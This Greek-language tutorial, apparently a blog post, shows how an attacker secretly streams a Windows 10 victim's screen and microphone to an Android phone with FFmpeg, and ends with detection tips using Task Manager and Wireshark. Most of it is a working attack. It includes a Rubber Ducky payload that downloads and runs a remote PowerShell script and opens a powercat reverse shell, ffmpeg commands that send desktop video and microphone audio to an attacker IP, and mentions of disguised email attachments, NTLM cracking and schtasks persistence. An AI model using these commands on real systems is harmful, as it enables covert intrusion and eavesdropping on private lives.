Το desktop και το μικρόφωνο του Windows 10 μπορούν να παγιδευτούν για απομακρυσμένη παρακολούθηση χωρίς να χρησιμοποιήσει ο hacker το Remote Desktop Protocol (RDP) και χωρίς να ανοίξουν οποιεσδήποτε θύρες στο firewall. Έτσι μπορεί να παρακολουθεί κάθε κίνηση και ιδιωτική συνομιλία του θύματος σε πραγματικό χρόνο. Ας δούμε πως γίνεται και πως να προστατευτείτε.

Κατανοώντας μια επίθεση με FFmpeg

Το FFmpeg είναι γνωστό σε όλους τους Linuxάδες αφού αποτελεί σημαντική βιβλιοθήκη για την αναπαραγωγή πολυμέσων, streaming στα λειτουργικά συστήματα Windows, macOS και Linux. Πρόκειται για αυτόνομο λογισμικό, που σημαίνει ότι μπορεί να εκτελεστεί ως εκτελέσιμο αρχείο χωρίς εγκατάσταση ή ρυθμίσεις. Ο hacker κατεβάζει το λογισμικό FFmpeg τόσο στο σύστημα του όσο και στον υπολογιστή Windows 10 (θύμα).

Στην συνέχεια δημιουργούν ένα σύστημα «ακροατή» με μια Android συσκευή που θα παρακολουθήσει την εισερχόμενη ροή βίντεο από τον υπολογιστή των Windows 10. Η ροή βίντεο αποθηκεύεται σε ένα αρχείο και αναπαράγεται χρησιμοποιώντας τη συσκευή Android.

Αυτές οι επιθέσεις μπορούν να πραγματοποιηθούν γρήγορα και χωρίς δικαιώματα διαχειριστή, απλώς κατεβάζοντας το εκτελέσιμο αρχείο FFmpeg και τρέχοντας μια μόνο εντολή. Φυσικά ο ανυποψίαστος χρήστης δεν θα το καταλάβει αλλά ούτε και το λογισμικό προστασίας από ιούς.

Ας δούμε πρώτα πως μπορεί να το καταφέρει ο hacker, μιας και θα δούμε και πως προστατευόμαστε από αυτά.

Advertisements

Βήμα 1: Δημιουργία backdoor στο Windows 10

Το πρώτο βήμα είναι να δημιουργήσει ο hacker μια «κερκόπορτα» από την οποία θα μπορεί όποτε θέλει να εισέρχεται. Μπορείτε να διαβάσετε το σχετικό άρθρο με το Netcat για να δείτε πως γίνεται αυτό.

Ο έλεγχος μιας συσκευής Windows 10 μπορεί να επιτευχθεί με διάφορους τρόπους, όπως π.χ με

USB Rubber Ducky

Το USB Rubber Ducky είναι ένα δημοφιλές εργαλείο παρεμβολής σε πληκτρολόγιο θύματος. Παράδειγμα με τη χρήση ενός τηλεφώνου Android και του USB Rubber Ducky, το παρακάτω Ducky payload είναι σε θέση να δημιουργήσει ένα root shell μέσα σε λίγα δευτερόλεπτα μέσω του PowerShell του Windows:

DELAY 5500
GUI r
DELAY 700
STRING powershell /w 1 /C $a=$env:TEMP;Set-ExecutionPolicy Bypass;wget https://cutt.ly/cW13i -o $a\d.ps1;ipmo $a\d.ps1;powercat -c 192.168.0.208 -p 1234 -e powershell
CTRL-SHIFT ENTER
DELAY 850
ALT y

Επισύναψη μη ανιχνεύσιμου εκτελέσιμου σε ένα email

Τα εκτελέσιμα μπορούν να είναι «μεταμφιεσμένα» ώστε να εμφανίζονται ως συνηθισμένα αρχεία PDF και TXT. Με αυτό τον τρόπο καθίσταται δυνατή η δημιουργία κακόβουλων συνημμένων σε email.

Οπότε το θύμα κατεβάζει το txt αρχείο και το ανοίγει χρησιμοποιώντας το Notepad, τον προεπιλεγμένο επεξεργαστή κειμένου στα Windows 10. Μετά το άνοιγμα του Notepad, εκτελεί σιωπηλά ένα ενσωματωμένο PowerShell payload, το οποίο δημιουργεί backdoor στον υπολογιστή Windows 10.

Capture και Decrypt τους των κωδικών πρόσβασης

Σε ένα δίκτυο WiFi που συνδέεται ένας υπολογιστής Windows 10, ενδέχεται να είναι δυνατή η ανάσχεση των hashes του NTLM (εμφανίζονται παρακάτω, με κόκκινο χρώμα).

Capture και Decrypt τους των κωδικών πρόσβασης

Τα διαπιστευτήρια του NTLM βασίζονται σε δεδομένα που αποκτήθηκαν κατά τη διαδικασία σύνδεσης με το WiFi και αποτελούνται από

  • ένα όνομα τομέα,
  • ένα όνομα χρήστη
  • και ένα hash του κωδικού πρόσβασης του χρήστη.

Το NTLM χρησιμοποιεί ένα κρυπτογραφημένο πρωτόκολλο για τον έλεγχο ταυτότητας ενός χρήστη χωρίς να στέλνει τον κωδικό πρόσβασης του χρήστη σε απλό κείμενο μέσω του δικτύου. Δυστυχώς, ο αλγόριθμος HMAC-MD5 που χρησιμοποιείται από το NTLM εξακολουθεί να είναι ιδιαίτερα επιρρεπής σε brute-force επιθέσεις, επιτρέποντας εκατομμύρια απόπειρες κωδικού πρόσβασης ανά λεπτό – ακόμη και όταν η επίθεση εκτελείται χρησιμοποιώντας παλαιότερα τηλέφωνα Android και Raspberry Pi.

Μετά απο επιτυχημένο brute-force και εύρεση του κωδικού πρόσβασης θα είναι δυνατή η σύνδεση και η γρήγορη ενσωμάτωση ενός backdoor χρησιμοποιώντας το schtasks ή τον φάκελο StartUp του Windows 10.

Social Engineering

Δεν υπάρχει λόγος για πόσους διαφορετικούς τρόπους μπορεί να εξαπατηθεί ένας θύμα για να ανοίξει ένα αρχείο που περιέχει ένα stager ή κάποιο payload. Μπορεί να στείλει μια π.χ. ο hacker μια ευχετήρια κάρτα με ένα USB και το θύμα λόγο περιέργειας να το βάλει στον υπολογιστή του. Τα κοινά και αθώα στα μάτια μας καθημερινά αντικείμενα μπορούν να χρησιμοποιηθούν για την έναρξη σύνθετων hacks μέσω της κοινωνικής μηχανικής, όπως μπορείτε να διαβάσετε στον σχετικό οδηγό.

Βήμα 2: Εγκατάσταση του UserLAnd σε μια Android συσκευή

Το UserLAnd είναι μια εφαρμογή Android που καθιστά δυνατή την εγκατάσταση διανομών Linux μαζί με το λειτουργικό σύστημα Android. Αυτό επιτυγχάνεται χωρίς να χρειάζεται ROOT και χωρίς να δημιουργεί προβλήματα για την συσκευή μας. Τα λειτουργικά συστήματα Kali ή Debian μπορούν να λειτουργούν μέσα σε λίγα λεπτά με μερικά μόνο κλικ.

Μόλις εγκαταστήσετε και ρυθμίσετε τα πάντα, συνδεθείτε στο λειτουργικό σύστημα μέσω SSH με το ConnectBot (ή το JuiceSSH ή τον ενσωματωμένο SSH client).

Εγκατάσταση του FFmpeg στο Kali της Android συσκευής μας

Κατ ‘αρχάς, το FFmpeg πρέπει να εγκατασταθεί στη συσκευή του θύτη, ώστε να παρακολουθήσει με live stream την ροή βίντεο που προέρχεται από το θύμα (υπολογιστής με Windows 10).

Εγκαταστήστε το FFmpeg στο Kali (UserLAnd) χρησιμοποιώντας την παρακάτω εντολή.

sudo apt-get update && sudo apt-get install ffmpeg

Ξεκινήστε το FFmpeg Listener από το Android

Για να λαμβάνετε εισερχόμενες ροές, χρησιμοποιήστε την παρακάτω εντολή για να ξεκινήσετε το FFmpeg.

screen ffmpeg -i udp://0.0.0.0:10001 /sdcard/Download/livestream.avi

Το screen βοηθάει εδώ ώστε ακόμα και αν κλείσει η SSH σύνδεση να μην τερματίσει την τρέχουσα εντολή FFmpeg. Αυτή η εντολή FFmpeg θα ανοίξει τη θύρα UDP 10001 και θα δεχθεί ροές εισόδου -i απο κάθε διαθέσιμη IP 0.0.0.0. Στη συνέχεια, θα αποθηκεύσει τη ροή στον κατάλογο /sdcard/Download/ σε μορφή AVI με το όνομα αρχείου livestream.avi. Ο αριθμός θύρας και το όνομα αρχείου, μπορούν να αλλάξουν, αν χρειαστεί, αλλά πάντα να χρησιμοποιείτε τον κατάλογο /sdcard/Download/ για να κάνετε το αρχείο διαθέσιμο στο Android και στην εφαρμογή VLC.

Για να αποσυνδεθείτε από την οθόνη χωρίς να σταματήσετε τον «ακροατή» FFmpeg, πατήστε Ctrl-a και στη συνέχεια d.

Βήμα 3: Κατεβάζουμε το FFmpeg στον Backdoored Windows 10 υπολογιστή

‘Οπως είπαμε στην αρχή, τα παρακάτω βήματα γίνονται αφού έχετε δημιουργήσει ένα Netcat shell.

Για να βεβαιωθείτε ότι έχετε την πιο πρόσφατη έκδοση, χρησιμοποιήστε το πρόγραμμα περιήγησης Android, μεταβείτε στο ffmpeg.zeranoe.com/builds/ και αντιγράψτε την πιο πρόσφατη διεύθυνση URL από εκεί.

iwr -Uri 'https://ffmpeg.zeranoe.com/builds/win64/static/ffmpeg-20191211-4110029-win64-static.zip' -Outfile $env:TEMP\ffmpeg.zip

Το Invoke-Webrequest θα κατεβάσει -Uri το FFmpeg ZIP και θα το αποθηκεύσει -Outfile στον κατάλογο temp $env:TEMP με το όνομα αρχείου ffmpeg.zip.

Αποσυμπιέζουμε το αρχείο FFmpeg

Οι εκδόσεις PowerShell > 5.1 έχουν λειτουργία αποσυμπίεσης που ονομάζεται Expand-Archive.

Expand-Archive -Path $env:TEMP\ffmpeg.zip -DestinationPath $env:TEMP\ffmpeg\

Όταν ολοκληρωθεί, μπείτε cd στον νέο φάκελο ffmpeg . Χρησιμοποιήστε το όνομα διαδρομής μπαλαντέρ () όπως φαίνεται παρακάτω για να συμπληρώσετε αυτόματα τον αριθμό έκδοσης στο όνομα του καταλόγου.

cd "$env:TEMP\ffmpeg\ffmpeg*\bin\"

Στη συνέχεια, βεβαιωθείτε ότι το ffmpeg.exe είναι διαθέσιμο.

ls

Directory: C:\Users\IEUser\AppData\Local\Temp\ffmpeg\ffmpeg-20190116-51978ae-win64-static\bin

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/16/2019   4:14 AM       64969728 ffmpeg.exe
-a----        1/16/2019   4:14 AM       64856064 ffplay.exe
-a----        1/16/2019   4:14 AM       64877568 ffprobe.exe

Όπως μπορούμε να δούμε, το εκτελέσιμο είναι διαθέσιμο. Τώρα είναι δυνατό να ξεκινήσετε την παρακολούθηση του desktop του θύματος.

Advertisements

Βήμα 4: Streaming επιφάνειας εργασίας του Windows 10

Το FFmpeg μπορεί να μεταδώσει ολόκληρη την επιφάνεια εργασίας με ή χωρίς ήχο. Παρακάτω θα δούμε ροή βίντεο με ήχο, καθώς και βίντεο χωρίς ήχο.

Streaming μόνο βίντεο

Για να ξεκινήσετε τη ροή ολόκληρης της επιφάνειας εργασίας χωρίς ήχο, χρησιμοποιήστε την παρακάτω εντολή ffmpeg.exe μέσω του backdoor του Netcat.

.\ffmpeg.exe -f gdigrab -i desktop -f dshow -f avi udp://192.168.0.123:10001

Το Graphics Device Interface των Windows -f gdigrab και το DirectShow -f dshow είναι υπεύθυνα για την αναπαραγωγή γραφικών και τη μετάδοσή τους σε συνδεδεμένες οθόνες και εκτυπωτές. Το FFmpeg ουσιαστικά μπαίνει σε αυτά τα στοιχεία -i desktop και στέλνει την έξοδο udp: // στο διακομιστή του εισβολέα σε μορφή AVI -f avi. Όταν χρησιμοποιείτε την παραπάνω εντολή, θυμηθείτε να αλλάξετε τη διεύθυνση IP του εισβολέα 192.168.0.123 στην IP που χρησιμοποιείται από τη συσκευή Android που φιλοξενεί τον «ακροατή» FFmpeg.

Streaming μόνο τον ήχο

Ενδέχεται να είναι πιο επιθυμητό σε μερικά σενάρια να μεταδίδεται μόνο ο ήχος που ακούγεται από μικρόφωνο οπότε σε αυτή την περίπτωση, καταρτίστε πρώτα τις διαθέσιμες διεπαφές εισόδου ενσωματωμένες στον υπολογιστή Windows 10.

.\ffmpeg.exe -list_devices true -f dshow -i dummy

ffmpeg version N-92981-g51978aefe8 Copyright (c) 2000-2019 the FFmpeg developers
  built with gcc 8.2.1 (GCC) 20181201

[dshow @ 0000021d3560a480] DirectShow audio devices
[dshow @ 0000021d3560a480]  "Microphone (Realtek High Definition Audio)"
[dshow @ 0000021d3560a480]     Alternative name "@device_cm_{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}\wave_{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}"

Παρατηρήστε τη διασύνδεση «Μικρόφωνο (Realtek High Definition Audio)» στην έξοδο FFmpeg. Μπορεί να φαίνεται διαφορετικά με βάση το είδος του υλικού και του μικροφώνου που χρησιμοποιείται από τον υπολογιστή Windows 10.

Αντιγράψτε και εισάγετε το όνομα διεπαφής ήχου ακριβώς όπως εμφανίζεται στην ακόλουθη εντολή, με διπλά εισαγωγικά.

.\ffmpeg.exe -f dshow -i audio="Microphone (Realtek High Definition Audio)" -f avi udp://192.168.0.123:10001

Το όρισμα -i καθοδηγεί το FFmpeg να χρησιμοποιήσει την είσοδο audio = κατά τη ροή προς τον διακομιστή του εισβολέα.

Streaming βίντεο και ήχου ταυτόχρονα

Χρησιμοποιήστε την παρακάτω εντολή.

.\ffmpeg.exe -f dshow -i audio="Microphone (Realtek High Definition Audio)":video="desktop" -f avi udp://192.168.0.208:10001

Παρόμοια με το όρισμα audio=, εδώ, τόσο οι είσοδοι video= όσο και οι είσοδοι audio= χρησιμοποιούνται κατά τη μετάδοση. Οι συσκευές εισόδου χωρίζονται από : και πρέπει πάντα να χρησιμοποιούν διπλά εισαγωγικά.

Βήμα 5: Δείτε και ακούστε το Stream σε πραγματικό χρόνο

Για αυτή την δουλειά θα χρησιμοποιήσουμε το γνωστό μας VLC το οποίο διατίθεται μέσω του αποθετηρίου F-Droid και του Google Play Store.

Αφού εγκαταστήσετε το VLC, μεταβείτε στην εφαρμογή «Λήψεις» του Android για να βρείτε το αρχείο livestream.avi. Παρατηρήστε πώς το μέγεθος του αρχείου συνεχίζει να αυξάνεται καθώς το αρχείο παραλαμβάνει ροές της επιφάνειας εργασίας του Windows 10.

Ανοίξετε το αρχείο σε VLC, και θα δείτε ότι θα συνεχίσει να αναπαράγει το αρχείο εφόσον έχει δημιουργηθεί η σύνδεση FFmpeg.

Δείτε και ακούστε το Stream σε πραγματικό χρόνο με VLC

Αφού είδαμε πως μπορεί κάποιος κακόβουλος Hacker να επιτύχει μια τέτοια επίθεση, ας δούμε και κάποια βήματα για να προστατευτούμε.

Πως να προστατευτείτε από FFmpeg Attacks

Είναι σχεδόν απίθανο το λογισμικό προστασίας από ιούς να μας προστατέψει από αυτούς τους τύπους επιθέσεων στο Windows 10. Εξάλλου, το FFmpeg δεν θεωρείται κακόβουλη εφαρμογή και δεν επιχειρεί να ανοίξει θύρες ή να τροποποιήσει ευαίσθητα αρχεία στον υπολογιστή.

Αναζητήστε πιθανές κακόβουλες εφαρμογές

Αν, ως χρήστης Windows, δεν έχετε ακούσει ποτέ για το FFmpeg και είστε σίγουροι ότι δεν έχει εγκατασταθεί από άλλη εφαρμογή, τότε το FFmpeg πιθανώς δεν έχει καμία δουλειά στον υπολογιστή σας. Μια απλή αναζήτηση θα σας βοηθήσει να εντοπίσετε σχετικά αρχεία στον υπολογιστή.

Αναζητήστε πιθανές κακόβουλες εφαρμογές

Παρατηρήστε το FFmpeg EXE και ZIP στον κατάλογο Temp . Σε αυτό το σημείο, ίσως είναι καλύτερο να αποσυνδέσετε τον υπολογιστή από το διαδίκτυο και το router σας και να ξεκινήσετε ενδελεχή αναζήτηση για να εντοπίσετε από ποιον και πότε παραβιάστηκε η συσκευή.

Task Manager του Windows: ανακαλύψετε εφαρμογές υποκλοπής

Εάν ο υπολογιστής στέλνει δεδομένα, το Windows 10 Task Manager μπορεί να χρησιμοποιηθεί για να προβάλετε διεργασίες, εφαρμογές και υπηρεσίες που εκτελούνται στο παρασκήνιο. Μπορεί επίσης να χρησιμοποιηθεί για την ανάλυση πόρων του συστήματος, για παράδειγμα, τον εντοπισμό εφαρμογών που χρησιμοποιούν υπερβολική μνήμη RAM ή CPU.

Task Manager του Windows: ανακαλύψετε εφαρμογές υποκλοπής

Για να ανοίξετε το Task Manager, αναζητήστε το «Task Manager» και ανοίξτε το ως διαχειριστής κάνοντας δεξί κλικ. Ο διαχειριστής εργασιών πρέπει να ξεκινήσει με δικαιώματα διαχειριστή για να προβάλει οτιδήποτε τρέχει από ένα backdoor. Παρατηρήστε στο παράδειγμά μας οτι το ffmpeg.exe χρησιμοποιεί το 30% της CPU. Φυσικά ένας εισβολέας μπορεί να βελτιστοποιήσει την εντολή FFmpeg για να ελαχιστοποιήσει το συνολικό φορτίο του στην CPU, οπότε μπορεί να μην είναι πάντα ανιχνεύσιμος με αυτόν τον τρόπο.

Για να σταματήσετε το FFmpeg, κάντε δεξί κλικ στη διαδικασία και επιλέξτε την επιλογή «End Task». Πάλι, ίσως είναι καλύτερο να αποσυνδέσετε αμέσως τον υπολογιστή από το διαδίκτυο και το ρούτερ σε αυτό το σημείο.

Χρήση του Wireshark για εντοπισμό εφαρμογών που στέλνουν δεδομένα

Λάβετε υπόψη ότι ένας εισβολέας μπορεί να μετονομάσει το ffmpeg.exe σε κάτι λιγότερο προφανές όπως το explorer.exe ή Service Host. Για μια πληρέστερη ματιά στα δεδομένα που εγκαταλείπουν τον υπολογιστή των Windows 10, κατεβάστε και εγκαταστήστε την τελευταία έκδοση του Wireshark. Κατά τη διάρκεια της διαδικασίας εγκατάστασης, φροντίστε να εγκαταστήσετε το WinPcap καθώς είναι μια απαιτούμενη εξάρτηση του Wireshark.

Ανοίξτε το Wireshark και ξεκινήστε τη λήψη σε όλες τις διαθέσιμες διεπαφές. Εάν ένας επιτιθέμενος που στριμάρει την επιφάνεια εργασίας, θα χρησιμοποιεί μεγάλη ποσότητα δεδομένων που εξέρχονται από το δίκτυο.

Πρώτα, κάντε δεξί κλικ σε ένα από τα πακέτα UDP και επιλέξτε «Ακολουθήστε», στη συνέχεια «UDP Stream». Θα εμφανιστεί ένα νέο παράθυρο Wireshark.

Χρήση του Wireshark για εντοπισμό εφαρμογών που στέλνουν δεδομένα

Παρατηρήστε στην κάτω αριστερή γωνία τα «client pkts». Αυτός ο αριθμός θα συνεχίσει να αυξάνεται καθώς το Wireshark μεταγλωττίζει τα πακέτα UDP σε μια ενιαία ροή. Εδώ θα πρέπει να κάνετε υπομονή. Εάν ο επιτιθέμενος streamάρει για μεγάλη χρονική περίοδο, αυτή η διαδικασία μπορεί να πάρει αρκετά λεπτά για να ολοκληρωθεί.

Όταν ολοκληρωθεί, στο Wireshark θα είναι διαθέσιμη η επιλογή «Εμφάνιση και αποθήκευση δεδομένων ως». Αλλάξτε το σε «Raw» και περιμένετε να ολοκληρωθεί η διαδικασία. Τέλος, κάντε κλικ στο κουμπί «Αποθήκευση ως» και αποθηκεύστε τα δεδομένα με το όνομα του αρχείου π.χ. «me_hackaran_na_parei.avi». Στη συνέχεια, το βίντεο θα μπορεί να αναπαραχθεί από το πρόγραμμα αναπαραγωγής βίντεο των Windows 10. Κατά την αναπαραγωγή του AVI, αν είναι σαφώς ένα βίντεο ολόκληρης της επιφάνειας εργασίας ή ηχογραφήσεις των ιδιωτικών συνομιλιών σας, τότε ο υπολογιστής σας έχει πειραχτεί.

Επίλογος

Στον σημνερινό οδηγό είδαμε πως ένας κακόβουλος Hacker μπορεί να δημιουργήσει μια μόνιμη σύνδεση και streaming της επιφάνειας εργασίας του Windows 10 για να παρακολουθεί τις κινήσεις μας.

Τέλος είδαμε και τρόπους προστασίας ανιχνεύοντας τέτοιες επιθέσεις.

Παραπομπές